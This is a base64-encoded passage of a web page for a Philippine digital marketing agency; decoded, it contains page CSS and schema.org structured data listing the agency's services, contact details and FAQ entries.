ICAuY3RhLXNlY3Rpb24geyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjMEYxNzJBIDAlLCAjMUUzQTVGIDUwJSwgIzBGMTcyQSAxMDAlKTsgcG9zaXRpb246IHJlbGF0aXZlOyBvdmVyZmxvdzogaGlkZGVuOyBwYWRkaW5nOiA1cmVtIDA7IHRleHQtYWxpZ246IGNlbnRlcjsgY29sb3I6ICNmZmY7IH0KICAgICAgLmN0YS1zZWN0aW9uOjpiZWZvcmUgeyBjb250ZW50OiAnJzsgcG9zaXRpb246IGFic29sdXRlOyB0b3A6IC01MCU7IGxlZnQ6IC01MCU7IHdpZHRoOiAyMDAlOyBoZWlnaHQ6IDIwMCU7IGJhY2tncm91bmQ6IHJhZGlhbC1ncmFkaWVudChjaXJjbGUgYXQgMzAlIDUwJSwgcmdiYSg1OSwxMzAsMjQ2LDAuMTUpIDAlLCB0cmFuc3BhcmVudCA1MCUpLCByYWRpYWwtZ3JhZGllbnQoY2lyY2xlIGF0IDcwJSA1MCUsIHJnYmEoOTksMTAyLDI0MSwwLjEpIDAlLCB0cmFuc3BhcmVudCA1MCUpOyBhbmltYXRpb246IGN0YUdsb3cgOHMgZWFzZS1pbi1vdXQgaW5maW5pdGUgYWx0ZXJuYXRlOyB9CiAgICAgIEBrZXlmcmFtZXMgY3RhR2xvdyB7IDAlIHsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMCwwKTsgfSAxMDAlIHsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUlLDMlKTsgfSB9CiAgICAgIC5jdGEtaW5uZXIgeyBwb3NpdGlvbjogcmVsYXRpdmU7IHotaW5kZXg6IDE7IG1heC13aWR0aDogNzAwcHg7IG1hcmdpbjogMCBhdXRvOyBwYWRkaW5nOiAwIDJyZW07IH0KICAgICAgLmN0YS1iYWRnZSB7IGRpc3BsYXk6IGlubGluZS1mbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyBnYXA6IDAuNXJlbTsgYmFja2dyb3VuZDogcmdiYSg1OSwxMzAsMjQ2LDAuMTUpOyBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDU5LDEzMCwyNDYsMC4zKTsgYm9yZGVyLXJhZGl1czogNTBweDsgcGFkZGluZzogMC40cmVtIDFyZW07IGZvbnQtc2l6ZTogMC43NXJlbTsgZm9udC13ZWlnaHQ6IDYwMDsgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsgbGV0dGVyLXNwYWNpbmc6IDAuMDhlbTsgY29sb3I6ICM2MEE1RkE7IG1hcmdpbi1ib3R0b206IDEuNXJlbTsgfQogICAgICAuY3RhLXNlY3Rpb24gaDIgeyBmb250LXNpemU6IGNsYW1wKDEuNzVyZW0sIDR2dywgMi41cmVtKTsgZm9udC13ZWlnaHQ6IDcwMDsgbGluZS1oZWlnaHQ6IDEuMjsgbWFyZ2luLWJvdHRvbTogMXJlbTsgfQogICAgICAuY3RhLXNlY3Rpb24gcCB7IGZvbnQtc2l6ZTogMS4wNXJlbTsgb3BhY2l0eTogMC43NTsgbWF4LXdpZHRoOiA1NTBweDsgbWFyZ2luOiAwIGF1dG8gMnJlbTsgbGluZS1oZWlnaHQ6IDEuNzsgfQogICAgICAuY3RhLWJ1dHRvbnMgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDFyZW07IGp1c3RpZnktY29udGVudDogY2VudGVyOyBmbGV4LXdyYXA6IHdyYXA7IG1hcmdpbi1ib3R0b206IDJyZW07IH0KICAgICAgLmJ0bi1jdGEtcHJpbWFyeSB7IGRpc3BsYXk6IGlubGluZS1mbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyBnYXA6IDAuNXJlbTsgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzNCODJGNiwgIzI1NjNFQik7IGNvbG9yOiAjZmZmOyBwYWRkaW5nOiAwLjg3NXJlbSAycmVtOyBib3JkZXItcmFkaXVzOiA4cHg7IGZvbnQtc2l6ZTogMC45NXJlbTsgZm9udC13ZWlnaHQ6IDYwMDsgdHJhbnNpdGlvbjogYWxsIDAuM3M7IGJvcmRlcjogbm9uZTsgY3Vyc29yOiBwb2ludGVyOyBmb250LWZhbWlseTogJ0ludGVyJywgc2Fucy1zZXJpZjsgYm94LXNoYWRvdzogMCA0cHggMjBweCByZ2JhKDU5LDEzMCwyNDYsMC40KTsgfQogICAgICAuYnRuLWN0YS1wcmltYXJ5OmhvdmVyIHsgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0ycHgpOyBib3gtc2hhZG93OiAwIDhweCAzMHB4IHJnYmEoNTksMTMwLDI0NiwwLjUpOyB9CiAgICAgIC5idG4tY3RhLXNlY29uZGFyeSB7IGRpc3BsYXk6IGlubGluZS1mbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyBnYXA6IDAuNXJlbTsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGNvbG9yOiAjZmZmOyBwYWRkaW5nOiAwLjg3NXJlbSAycmVtOyBib3JkZXItcmFkaXVzOiA4cHg7IGZvbnQtc2l6ZTogMC45NXJlbTsgZm9udC13ZWlnaHQ6IDUwMDsgdHJhbnNpdGlvbjogYWxsIDAuM3M7IGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMjU1LDI1NSwyNTUsMC4yNSk7IGN1cnNvcjogcG9pbnRlcjsgZm9udC1mYW1pbHk6ICdJbnRlcicsIHNhbnMtc2VyaWY7IH0KICAgICAgLmJ0bi1jdGEtc2Vjb25kYXJ5OmhvdmVyIHsgYmFja2dyb3VuZDogcmdiYSgyNTUsMjU1LDI1NSwwLjEpOyBib3JkZXItY29sb3I6IHJnYmEoMjU1LDI1NSwyNTUsMC40KTsgfQogICAgICAuY3RhLXRydXN0IHsgZGlzcGxheTogZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsganVzdGlmeS1jb250ZW50OiBjZW50ZXI7IGdhcDogMnJlbTsgZmxleC13cmFwOiB3cmFwOyBvcGFjaXR5OiAwLjU7IGZvbnQtc2l6ZTogMC44cmVtOyB9CgogICAgICAvKiDilZDilZDilZAgRk9PVEVSIOKVkOKVkOKVkCAqLwogICAgICBmb290ZXIgeyBiYWNrZ3JvdW5kOiB2YXIoLS1uYXZ5KTsgY29sb3I6IHZhcigtLW5hdnktZmcpOyBwYWRkaW5nOiA0cmVtIDAgMnJlbTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHJnYmEoMjU1LDI1NSwyNTUsMC4wNSk7IH0KICAgICAgLmZvb3Rlci1ncmlkIHsgZGlzcGxheTogZ3JpZDsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxLjVmciAxZnIgMWZyIDFmcjsgZ2FwOiAyLjVyZW07IH0KICAgICAgLmZvb3Rlci1ncmlkIGg0IHsgZm9udC1zaXplOiAwLjg3NXJlbTsgZm9udC13ZWlnaHQ6IDYwMDsgbWFyZ2luLWJvdHRvbTogMXJlbTsgb3BhY2l0eTogMC45OyB9CiAgICAgIC5mb290ZXItZ3JpZCB1bCB7IGxpc3Qtc3R5bGU6IG5vbmU7IH0KICAgICAgLmZvb3Rlci1ncmlkIGxpIHsgbWFyZ2luLWJvdHRvbTogMC41cmVtOyB9CiAgICAgIC5mb290ZXItZ3JpZCBsaSBhIHsgZm9udC1zaXplOiAwLjg3NXJlbTsgb3BhY2l0eTogMC42OyB0cmFuc2l0aW9uOiBvcGFjaXR5IDAuMnM7IH0KICAgICAgLmZvb3Rlci1ncmlkIGxpIGE6aG92ZXIgeyBvcGFjaXR5OiAxOyB9CiAgICAgIC5mb290ZXItYnJhbmQgcCB7IG1hcmdpbi10b3A6IDAuNzVyZW07IGZvbnQtc2l6ZTogMC44NzVyZW07IG9wYWNpdHk6IDAuNjsgbGluZS1oZWlnaHQ6IDEuNjsgfQogICAgICAuZm9vdGVyLWJvdHRvbSB7IG1hcmdpbi10b3A6IDNyZW07IHBhZGRpbmctdG9wOiAxLjVyZW07IGJvcmRlci10b3A6IDFweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LDAuMSk7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zaXplOiAwLjg3NXJlbTsgb3BhY2l0eTogMC40OyB9CiAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgeyAuZm9vdGVyLWdyaWQgeyBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmciAxZnI7IH0gfQoKICAgICAgLyog4pWQ4pWQ4pWQIEFOSU1BVElPTlMg4pWQ4pWQ4pWQICovCiAgICAgIEBrZXlmcmFtZXMgZmFkZVVwIHsgZnJvbSB7IG9wYWNpdHk6IDA7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgyMHB4KTsgfSB0byB7IG9wYWNpdHk6IDE7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgwKTsgfSB9CiAgICAgIC5hbmltYXRlIHsgYW5pbWF0aW9uOiBmYWRlVXAgMC42cyBlYXNlLW91dCBmb3J3YXJkczsgfQogICAgICAuZGVsYXktMSB7IGFuaW1hdGlvbi1kZWxheTogMC4xczsgfQogICAgICAuZGVsYXktMiB7IGFuaW1hdGlvbi1kZWxheTogMC4yczsgfQogICAgICAuZGVsYXktMyB7IGFuaW1hdGlvbi1kZWxheTogMC4zczsgfQogICAgICAuZGVsYXktNCB7IGFuaW1hdGlvbi1kZWxheTogMC40czsgfQogICAgICAuZGVsYXktNSB7IGFuaW1hdGlvbi1kZWxheTogMC41czsgfQogICAgICAuZGVsYXktNiB7IGFuaW1hdGlvbi1kZWxheTogMC42czsgfQogICAgCiAgICAvKiDilZDilZDilZAgQUkgSU4gQUNUSU9OIFNFQ1RJT04g4pWQ4pWQ4pWQICovCiAgICAuYWktc2VjdGlvbiB7CiAgICAgIHBhZGRpbmc6IDZyZW0gMDsKICAgICAgYmFja2dyb3VuZDogdmFyKC0tbmF2eSk7CiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsKICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgIH0KICAgIC5haS1zZWN0aW9uOjpiZWZvcmUgewogICAgICBjb250ZW50OiAnJzsKICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICBpbnNldDogMDsKICAgICAgYmFja2dyb3VuZDogcmFkaWFsLWdyYWRpZW50KGNpcmNsZSBhdCA3MCUgNTAlLCByZ2JhKDU5LDEzMCwyNDYsMC4xMikgMCUsIHRyYW5zcGFyZW50IDYwJSk7CiAgICB9CiAgICAuYWktc2VjdGlvbiAuY29udGFpbmVyIHsgcG9zaXRpb246IHJlbGF0aXZlOyB6LWluZGV4OiAxOyB9CiAgICAuYWktc2VjdGlvbi1oZWFkZXIgewogICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgIG1hcmdpbi1ib3R0b206IDNyZW07CiAgICB9CiAgICAuYWktc2VjdGlvbi1oZWFkZXIgLnNlY3Rpb24tbGFiZWwgeyBjb2xvcjogcmdiYSg1OSwxMzAsMjQ2LDAuOSk7IH0KICAgIC5haS1zZWN0aW9uLWhlYWRlciAuc2VjdGlvbi1oZWFkaW5nIHsgY29sb3I6ICNmZmY7IH0KICAgIC5haS1zZWN0aW9uLWhlYWRlciBwIHsKICAgICAgbWFyZ2luLXRvcDogMXJlbTsKICAgICAgY29sb3I6IHJnYmEoMjU1LDI1NSwyNTUsMC41NSk7CiAgICAgIG1heC13aWR0aDogNjAwcHg7CiAgICAgIG1hcmdpbi1sZWZ0OiBhdXRvOwogICAgICBtYXJnaW4tcmlnaHQ6IGF1dG87CiAgICAgIGxpbmUtaGVpZ2h0OiAxLjc7CiAgICB9CiAgICAuYWktdmlkZW9zLWdyaWQgewogICAgICBkaXNwbGF5OiBncmlkOwogICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IHJlcGVhdCgzLCAxZnIpOwogICAgICBnYXA6IDEuMjVyZW07CiAgICAgIG1hcmdpbi1ib3R0b206IDIuNXJlbTsKICAgIH0KICAgIC5haS12aWRlby13cmFwIHsKICAgICAgYm9yZGVyLXJhZGl1czogMTZweDsKICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgYm9yZGVyOiAxcHggc29saWQgcmdiYSgyNTUsMjU1LDI1NSwwLjA4KTsKICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsMjU1LDI1NSwwLjAzKTsKICAgICAgYXNwZWN0LXJhdGlvOiA5LzE2OwogICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgIHRyYW5zaXRpb246IHRyYW5zZm9ybSAwLjNzLCBib3JkZXItY29sb3IgMC4zczsKICAgIH0KICAgIC5haS12aWRlby13cmFwOmhvdmVyIHsKICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC00cHgpOwogICAgICBib3JkZXItY29sb3I6IHJnYmEoNTksMTMwLDI0NiwwLjQpOwogICAgfQogICAgLmFpLXZpZGVvLXdyYXAgaWZyYW1lIHsKICAgICAgd2lkdGg6IDEwMCU7CiAgICAgIGhlaWdodDogMTAwJTsKICAgICAgYm9yZGVyOiBub25lOwogICAgICBkaXNwbGF5OiBibG9jazsKICAgIH0KICAgIC5haS1zZWN0aW9uLWN0YSB7CiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgbWFyZ2luLXRvcDogMi41cmVtOwogICAgfQogICAgLmFpLXNlY3Rpb24tY3RhIHAgewogICAgICBjb2xvcjogcmdiYSgyNTUsMjU1LDI1NSwwLjUpOwogICAgICBmb250LXNpemU6IDAuODc1cmVtOwogICAgICBtYXJnaW4tdG9wOiAxcmVtOwogICAgfQogICAgLmJ0bi15b3V0dWJlIHsKICAgICAgZGlzcGxheTogaW5saW5lLWZsZXg7CiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgIGdhcDogMC42MjVyZW07CiAgICAgIGJhY2tncm91bmQ6ICNGRjAwMDA7CiAgICAgIGNvbG9yOiAjZmZmOwogICAgICBwYWRkaW5nOiAwLjg3NXJlbSAycmVtOwogICAgICBib3JkZXItcmFkaXVzOiA4cHg7CiAgICAgIGZvbnQtc2l6ZTogMC45NXJlbTsKICAgICAgZm9udC13ZWlnaHQ6IDYwMDsKICAgICAgdHJhbnNpdGlvbjogYWxsIDAuM3M7CiAgICAgIGZvbnQtZmFtaWx5OiAnSW50ZXInLCBzYW5zLXNlcmlmOwogICAgICBib3gtc2hhZG93OiAwIDRweCAyMHB4IHJnYmEoMjU1LDAsMCwwLjMpOwogICAgfQogICAgLmJ0bi15b3V0dWJlOmhvdmVyIHsKICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0ycHgpOwogICAgICBib3gtc2hhZG93OiAwIDhweCAzMHB4IHJnYmEoMjU1LDAsMCwwLjQpOwogICAgfQogICAgLmFpLXByb29mLWJhciB7CiAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOwogICAgICBnYXA6IDNyZW07CiAgICAgIGZsZXgtd3JhcDogd3JhcDsKICAgICAgbWFyZ2luLXRvcDogM3JlbTsKICAgICAgcGFkZGluZy10b3A6IDJyZW07CiAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LDAuMDgpOwogICAgfQogICAgLmFpLXByb29mLWl0ZW0gewogICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICB9CiAgICAuYWktcHJvb2YtaXRlbSAucHJvb2YtdmFsdWUgewogICAgICBmb250LWZhbWlseTogJ1NwYWNlIEdyb3Rlc2snLCBzYW5zLXNlcmlmOwogICAgICBmb250LXNpemU6IDEuNzVyZW07CiAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7CiAgICAgIGNvbG9yOiB2YXIoLS1wcmltYXJ5KTsKICAgIH0KICAgIC5haS1wcm9vZi1pdGVtIC5wcm9vZi1sYWJlbCB7CiAgICAgIGZvbnQtc2l6ZTogMC43NXJlbTsKICAgICAgY29sb3I6IHJnYmEoMjU1LDI1NSwyNTUsMC40KTsKICAgICAgbWFyZ2luLXRvcDogMC4yNXJlbTsKICAgIH0KICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgewogICAgICAuYWktdmlkZW9zLWdyaWQgewogICAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyOwogICAgICAgIG1heC13aWR0aDogMzIwcHg7CiAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG87CiAgICAgICAgbWFyZ2luLXJpZ2h0OiBhdXRvOwogICAgICB9CiAgICAgIC5haS1wcm9vZi1iYXIgeyBnYXA6IDEuNXJlbTsgfQogICAgfQogICAgPC9zdHlsZT4KICAgIAogICAgPHNjcmlwdCB0eXBlPSJhcHBsaWNhdGlvbi9sZCtqc29uIj4KICAgICAgICB7CiAgICAgICJAY29udGV4dCI6ICJodHRwczovL3NjaGVtYS5vcmciLAogICAgICAiQGdyYXBoIjogWwogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6IFsiTG9jYWxCdXNpbmVzcyIsICJQcm9mZXNzaW9uYWxTZXJ2aWNlIl0sCiAgICAgICAgICAiQGlkIjogImh0dHBzOi8vcHJpbWVmb2xkbWVkaWEuY29tLyNvcmdhbml6YXRpb24iLAogICAgICAgICAgIm5hbWUiOiAiUHJpbWVmb2xkIE1lZGlhIiwKICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9wcmltZWZvbGRtZWRpYS5jb20iLAogICAgICAgICAgImZvdW5kaW5nRGF0ZSI6ICIyMDI2IiwKICAgICAgICAgICJmb3VuZGVyIjogewogICAgICAgICAgICAiQHR5cGUiOiAiUGVyc29uIiwKICAgICAgICAgICAgIm5hbWUiOiAiUmFwaGFlbCBQdXRvbmciLAogICAgICAgICAgICAic2FtZUFzIjogImh0dHBzOi8vd3d3LmxpbmtlZGluLmNvbS9pbi9ycHB1dG9uZy8iCiAgICAgICAgICB9LAogICAgICAgICAgImVtYWlsIjogImFkbWluQHByaW1lZm9sZG1lZGlhLmNvbSIsCiAgICAgICAgICAidGVsZXBob25lIjogIis2MzkyNzMzNjg5ODYiLAogICAgICAgICAgImxvZ28iOiB7CiAgICAgICAgICAgICJAdHlwZSI6ICJJbWFnZU9iamVjdCIsCiAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9wcmltZWZvbGRtZWRpYS5jb20vaW1hZ2VzL2xvZ28taGVhZGVyLnBuZyIKICAgICAgICAgIH0sCiAgICAgICAgICAiaW1hZ2UiOiAiaHR0cHM6Ly9wcmltZWZvbGRtZWRpYS5jb20vb2ctaW1hZ2UuanBnIiwKICAgICAgICAgICJkZXNjcmlwdGlvbiI6ICJQcmltZWZvbGQgTWVkaWEgaXMgYSByZXN1bHRzLWRyaXZlbiBkaWdpdGFsIG1hcmtldGluZyBhZ2VuY3kgaW4gVGFnYmlsYXJhbiBDaXR5LCBCb2hvbCwgUGhpbGlwcGluZXMgb2ZmZXJpbmcgU0VPLCBQUEMgYWR2ZXJ0aXNpbmcsIHNvY2lhbCBtZWRpYSBtYXJrZXRpbmcsIGNvbnRlbnQgbWFya2V0aW5nLCB3ZWIgZGV2ZWxvcG1lbnQsIGFuZCBncmFwaGljIGRlc2lnbi4iLAogICAgICAgICAgImFkZHJlc3MiOiB7CiAgICAgICAgICAgICJAdHlwZSI6ICJQb3N0YWxBZGRyZXNzIiwKICAgICAgICAgICAgInN0cmVldEFkZHJlc3MiOiAiMjExIENhbGNldGEgU3RyZWV0LCBELkcgTXVzb25nIENvbW1lcmNpYWwgQnVpbGRpbmcsIENvZ29uIERpc3RyaWN0IiwKICAgICAgICAgICAgImFkZHJlc3NMb2NhbGl0eSI6ICJUYWdiaWxhcmFuIENpdHkiLAogICAgICAgICAgICAiYWRkcmVzc1JlZ2lvbiI6ICJCb2hvbCIsCiAgICAgICAgICAgICJwb3N0YWxDb2RlIjogIjYzMDAiLAogICAgICAgICAgICAiYWRkcmVzc0NvdW50cnkiOiAiUEgiCiAgICAgICAgICB9LAogICAgICAgICAgImdlbyI6IHsKICAgICAgICAgICAgIkB0eXBlIjogIkdlb0Nvb3JkaW5hdGVzIiwKICAgICAgICAgICAgImxhdGl0dWRlIjogIjkuNjUzNzYyOCIsCiAgICAgICAgICAgICJsb25naXR1ZGUiOiAiMTIzLjg2MzE2NTkiCiAgICAgICAgICB9LAogICAgICAgICAgImFyZWFTZXJ2ZWQiOiBbCiAgICAgICAgICAgIHsgIkB0eXBlIjogIkNpdHkiLCAibmFtZSI6ICJUYWdiaWxhcmFuIENpdHkiIH0sCiAgICAgICAgICAgIHsgIkB0eXBlIjogIkFkbWluaXN0cmF0aXZlQXJlYSIsICJuYW1lIjogIkJvaG9sIiB9LAogICAgICAgICAgICB7ICJAdHlwZSI6ICJDb3VudHJ5IiwgIm5hbWUiOiAiUGhpbGlwcGluZXMiIH0sCiAgICAgICAgICAgIHsgIkB0eXBlIjogIkNvdW50cnkiLCAibmFtZSI6ICJVbml0ZWQgU3RhdGVzIiB9LAogICAgICAgICAgICB7ICJAdHlwZSI6ICJDb3VudHJ5IiwgIm5hbWUiOiAiQXVzdHJhbGlhIiB9LAogICAgICAgICAgICB7ICJAdHlwZSI6ICJDb3VudHJ5IiwgIm5hbWUiOiAiVW5pdGVkIEtpbmdkb20iIH0sCiAgICAgICAgICAgIHsgIkB0eXBlIjogIkNvdW50cnkiLCAibmFtZSI6ICJDYW5hZGEiIH0KICAgICAgICAgIF0sCiAgICAgICAgICAicHJpY2VSYW5nZSI6ICIkJCIsCiAgICAgICAgICAib3BlbmluZ0hvdXJzU3BlY2lmaWNhdGlvbiI6IFsKICAgICAgICAgICAgewogICAgICAgICAgICAgICJAdHlwZSI6ICJPcGVuaW5nSG91cnNTcGVjaWZpY2F0aW9uIiwKICAgICAgICAgICAgICAiZGF5T2ZXZWVrIjogWwogICAgICAgICAgICAgICAgIk1vbmRheSIsIlR1ZXNkYXkiLCJXZWRuZXNkYXkiLCJUaHVyc2RheSIsIkZyaWRheSIKICAgICAgICAgICAgICBdLAogICAgICAgICAgICAgICJvcGVucyI6ICIwOTowMCIsCiAgICAgICAgICAgICAgImNsb3NlcyI6ICIxODowMCIKICAgICAgICAgICAgfQogICAgICAgICAgXSwKICAgICAgICAgICJzYW1lQXMiOiBbCiAgICAgICAgICAgICJodHRwczovL3d3dy5mYWNlYm9vay5jb20vUHJpbWVmb2xkTWVkaWEiLAogICAgICAgICAgICAiaHR0cHM6Ly93d3cuaW5zdGFncmFtLmNvbS9wcmltZWZvbGRtZWRpYS8iLAogICAgICAgICAgICAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQFByaW1lZm9sZE1lZGlhIiwKICAgICAgICAgICAgImh0dHBzOi8vd3d3LmxpbmtlZGluLmNvbS9jb21wYW55L3ByaW1lZm9sZC1tZWRpYSIKICAgICAgICAgIF0sCiAgICAgICAgICAiaGFzT2ZmZXJDYXRhbG9nIjogewogICAgICAgICAgICAiQHR5cGUiOiAiT2ZmZXJDYXRhbG9nIiwKICAgICAgICAgICAgIm5hbWUiOiAiRGlnaXRhbCBNYXJrZXRpbmcgU2VydmljZXMiLAogICAgICAgICAgICAiaXRlbUxpc3RFbGVtZW50IjogWwogICAgICAgICAgICAgIHsgIkB0eXBlIjogIk9mZmVyIiwgIml0ZW1PZmZlcmVkIjogeyAiQHR5cGUiOiAiU2VydmljZSIsICJuYW1lIjogIlNFTyBQaGlsaXBwaW5lcyIgfSB9LAogICAgICAgICAgICAgIHsgIkB0eXBlIjogIk9mZmVyIiwgIml0ZW1PZmZlcmVkIjogeyAiQHR5cGUiOiAiU2VydmljZSIsICJuYW1lIjogIkFFTy9HRU8vQUlPIFBoaWxpcHBpbmVzIiB9IH0sCiAgICAgICAgICAgICAgeyAiQHR5cGUiOiAiT2ZmZXIiLCAiaXRlbU9mZmVyZWQiOiB7ICJAdHlwZSI6ICJTZXJ2aWNlIiwgIm5hbWUiOiAiUFBDIEFkdmVydGlzaW5nIFBoaWxpcHBpbmVzIiB9IH0sCiAgICAgICAgICAgICAgeyAiQHR5cGUiOiAiT2ZmZXIiLCAiaXRlbU9mZmVyZWQiOiB7ICJAdHlwZSI6ICJTZXJ2aWNlIiwgIm5hbWUiOiAiU29jaWFsIE1lZGlhIE1hcmtldGluZyBQaGlsaXBwaW5lcyIgfSB9LAogICAgICAgICAgICAgIHsgIkB0eXBlIjogIk9mZmVyIiwgIml0ZW1PZmZlcmVkIjogeyAiQHR5cGUiOiAiU2VydmljZSIsICJuYW1lIjogIkNvbnRlbnQgTWFya2V0aW5nIFBoaWxpcHBpbmVzIiB9IH0sCiAgICAgICAgICAgICAgeyAiQHR5cGUiOiAiT2ZmZXIiLCAiaXRlbU9mZmVyZWQiOiB7ICJAdHlwZSI6ICJTZXJ2aWNlIiwgIm5hbWUiOiAiQ29udmVyc2lvbiBSYXRlIE9wdGltaXphdGlvbiBQaGlsaXBwaW5lcyIgfSB9LAogICAgICAgICAgICAgIHsgIkB0eXBlIjogIk9mZmVyIiwgIml0ZW1PZmZlcmVkIjogeyAiQHR5cGUiOiAiU2VydmljZSIsICJuYW1lIjogIldlYiBEZXZlbG9wbWVudCBQaGlsaXBwaW5lcyIgfSB9LAogICAgICAgICAgICAgIHsgIkB0eXBlIjogIk9mZmVyIiwgIml0ZW1PZmZlcmVkIjogeyAiQHR5cGUiOiAiU2VydmljZSIsICJuYW1lIjogIkdyYXBoaWMgRGVzaWduIFBoaWxpcHBpbmVzIiB9IH0sCiAgICAgICAgICAgICAgeyAiQHR5cGUiOiAiT2ZmZXIiLCAiaXRlbU9mZmVyZWQiOiB7ICJAdHlwZSI6ICJTZXJ2aWNlIiwgIm5hbWUiOiAiRGlnaXRhbCBNYXJrZXRpbmcgQm9ob2wiIH0gfQogICAgICAgICAgICBdCiAgICAgICAgICB9LAogICAgICAgICAgImtub3dzQWJvdXQiOiBbCiAgICAgICAgICAgICJTZWFyY2ggRW5naW5lIE9wdGltaXphdGlvbiIsCiAgICAgICAgICAgICJQYXktUGVyLUNsaWNrIEFkdmVydGlzaW5nIiwKICAgICAgICAgICAgIlNvY2lhbCBNZWRpYSBNYXJrZXRpbmciLAogICAgICAgICAgICAiQ29udGVudCBNYXJrZXRpbmciLAogICAgICAgICAgICAiQ29udmVyc2lvbiBSYXRlIE9wdGltaXphdGlvbiIsCiAgICAgICAgICAgICJXZWIgRGV2ZWxvcG1lbnQiLAogICAgICAgICAgICAiR3JhcGhpYyBEZXNpZ24iLAogICAgICAgICAgICAiRGlnaXRhbCBNYXJrZXRpbmcgUGhpbGlwcGluZXMiLAogICAgICAgICAgICAiRGlnaXRhbCBNYXJrZXRpbmcgQm9ob2wiCiAgICAgICAgICBdCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiV2ViU2l0ZSIsCiAgICAgICAgICAiQGlkIjogImh0dHBzOi8vcHJpbWVmb2xkbWVkaWEuY29tLyN3ZWJzaXRlIiwKICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9wcmltZWZvbGRtZWRpYS5jb20iLAogICAgICAgICAgIm5hbWUiOiAiUHJpbWVmb2xkIE1lZGlhIiwKICAgICAgICAgICJwdWJsaXNoZXIiOiB7CiAgICAgICAgICAgICJAaWQiOiAiaHR0cHM6Ly9wcmltZWZvbGRtZWRpYS5jb20vI29yZ2FuaXphdGlvbiIKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIF0KICAgIH0KICAgIDwvc2NyaXB0PgogICAgPHNjcmlwdCB0eXBlPSJhcHBsaWNhdGlvbi9sZCtqc29uIj4KICAgIHsKICAgICAgIkBjb250ZXh0IjogImh0dHBzOi8vc2NoZW1hLm9yZyIsCiAgICAgICJAdHlwZSI6ICJGQVFQYWdlIiwKICAgICAgIm1haW5FbnRpdHkiOiBbCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogIlF1ZXN0aW9uIiwKICAgICAgICAgICJuYW1lIjogIldoYXQgc2VydmljZXMgZG9lcyB5b3VyIGRpZ2l0YWwgbWFya2V0aW5nIGFnZW5jeSBpbiB0aGUgUGhpbGlwcGluZXMgb2ZmZXI\/IiwKICAgICAgICAgICJhY2NlcHRlZEFuc3dlciI6IHsKICAgICAgICAgICAgIkB0eXBlIjogIkFuc3dlciIsCiAgICAgICAgICAgICJ0ZXh0IjogIldlIG9mZmVyIGEgY29tcHJlaGVuc2l2ZSBzdWl0ZSBvZiBkaWdpdGFsIG1hcmtldGluZyBzZXJ2aWNlcyBpbmNsdWRpbmcgU2VhcmNoIEVuZ2luZSBPcHRpbWl6YXRpb24gKFNFTyksIFBheS1QZXItQ2xpY2sgKFBQQykgYWR2ZXJ0aXNpbmcsIHNvY2lhbCBtZWRpYSBtYXJrZXRpbmcsIGNvbnRlbnQgbWFya2V0aW5nLCBjb252ZXJzaW9uIHJhdGUgb3B0aW1pemF0aW9uIChDUk8pLCB3ZWIgZGV2ZWxvcG1lbnQsIGdyYXBoaWMgZGVzaWduLCBhbmQgd2ViIGFuYWx5dGljcy4gRWFjaCBzZXJ2aWNlIGlzIHRhaWxvcmVkIHRvIHlvdXIgc3BlY2lmaWMgYnVzaW5lc3MgZ29hbHMgYW5kIHRhcmdldCBhdWRpZW5jZSB0byBlbnN1cmUgbWF4aW11bSBpbXBhY3QgYW5kIHJldHVybiBvbiBpbnZlc3RtZW50LiIKICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJRdWVzdGlvbiIsCiAgICAgICAgICAibmFtZSI6ICJIb3cgbXVjaCBkb